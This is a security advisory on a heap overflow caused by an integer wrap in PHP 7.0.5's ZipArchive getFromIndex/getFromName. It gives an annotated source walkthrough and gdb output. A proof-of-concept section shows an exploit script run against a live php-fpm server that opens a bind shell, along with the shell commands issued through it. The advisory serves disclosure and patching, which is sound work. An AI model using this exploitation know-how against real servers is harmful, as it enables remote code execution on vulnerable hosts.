Details
=======
An integer wrap may occur in PHP 7.x before version 7.0.6 when reading
zip files with the getFromIndex() and getFromName() methods of
ZipArchive, resulting in a heap overflow.
php-7.0.5/ext/zip/php_zip.c
,----
| 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
| 2680 {
| ....
| 2684 struct zip_stat sb;
| ....
| 2689 zend_long len = 0;
| ....
| 2692 zend_string *buffer;
| ....
| 2702 if (type == 1) {
| 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {
| 2704 return;
| 2705 }
| 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1)
| 2707 } else {
| 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {
| 2709 return;
| 2710 }
| 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1)
| 2712 }
| ....
| 2718 if (len < 1) {
| 2719 len = sb.size;
| 2720 }
| ....
| 2731 buffer = zend_string_alloc(len, 0); // (2)
| 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3)
| ....
| 2742 }
`----
With `sb.size' from (1) being:
php-7.0.5/ext/zip/lib/zip_stat_index.c
,----
| 038 ZIP_EXTERN int
| 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
| 040 zip_stat_t *st)
| 041 {
| ...
| 043 zip_dirent_t *de;
| 044
| 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
| 046 return -1;
| ...
| 063 st->size = de->uncomp_size;
| ...
| 086 }
`----
Both `size' and `uncomp_size' are unsigned 64bit integers:
php-7.0.5/ext/zip/lib/zipint.h
,----
| 339 struct zip_dirent {
| ...
| 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */
| ...
| 332 };
`----
php-7.0.5/ext/zip/lib/zip.h
,----
| 279 struct zip_stat {
| ...
| 283 zip_uint64_t size; /* size of file (uncompressed) */
| ...
| 290 };
`----
Whereas `len' is signed and has a platform-dependent size:
php-7.0.5/Zend/zend_long.h
,----
| 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
| 029 # define ZEND_ENABLE_ZVAL_LONG64 1
| 030 #endif
| ...
| 033 #ifdef ZEND_ENABLE_ZVAL_LONG64
| 034 typedef int64_t zend_long;
| ...
| 043 #else
| 044 typedef int32_t zend_long;
| ...
| 053 #endif
`----
Uncompressed file sizes in zip-archives may be specified as either 32-
or 64bit values; with the latter requiring that the size be specified in
the extra field in zip64 mode.
Anyway, as for the invocation of `zend_string_alloc()' in (2):
php-7.0.5/Zend/zend_string.h
,----
| 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
| 120 {
| 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)
| ...
| 133 ZSTR_LEN(ret) = len; // (5)
| 134 return ret;
| 135 }
`----
The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)
whilst the *original* value of `len' is stored as the size of the
allocated buffer in (5). No boundary checking is done in (4) and it may
thus wrap, which would lead to a heap overflow during the invocation of
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':
php-7.0.5/Zend/zend_string.h
,----
| 041 #define ZSTR_LEN(zstr) (zstr)->len
`----
On a 32bit system:
,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
| $1 = 0x10
`----
The wraparound may also occur on 64bit systems with `uncomp_size'
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).
However, it won't result in a buffer overflow because of `zip_fread()'
bailing on a size that would have wrapped the allocation in (4):
php-7.0.5/ext/zip/lib/zip_fread.c
,----
| 038 ZIP_EXTERN zip_int64_t
| 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
| 040 {
| ...
| 049 if (toread > ZIP_INT64_MAX) {
| 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
| 051 return -1;
| 052 }
| ...
| 063 }
`----
php-7.0.5/ext/zip/lib/zipconf.h
,----
| 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL
`----
,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
| $1 = 0x8000000000000018
`----
PoC
===
Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:
,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] 103 of 4096 (0x67fd0)...
| [+] connected to 1.2.3.4:5555
|
| id
| uid=33(http) gid=33(http) groups=33(http)
|
| uname -a
| Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
| 2016 i686 GNU/Linux
|
| pacman -Qs php-fpm
| local/php-fpm 7.0.5-2
| FastCGI Process Manager for PHP
|
| cat upload.php
| <?php
| $zip = new ZipArchive();
| if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
| echo "cannot open archive\n";
| } else {
| for ($i = 0; $i < $zip->numFiles; $i++) {
| $data = $zip->getFromIndex($i);
| }
| $zip->close();
| }
| ?>
`----
Solution
========
This issue has been fixed in php 7.0.6.
Footnotes
_________
[1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078]
--
Hans Jerry Illikainen
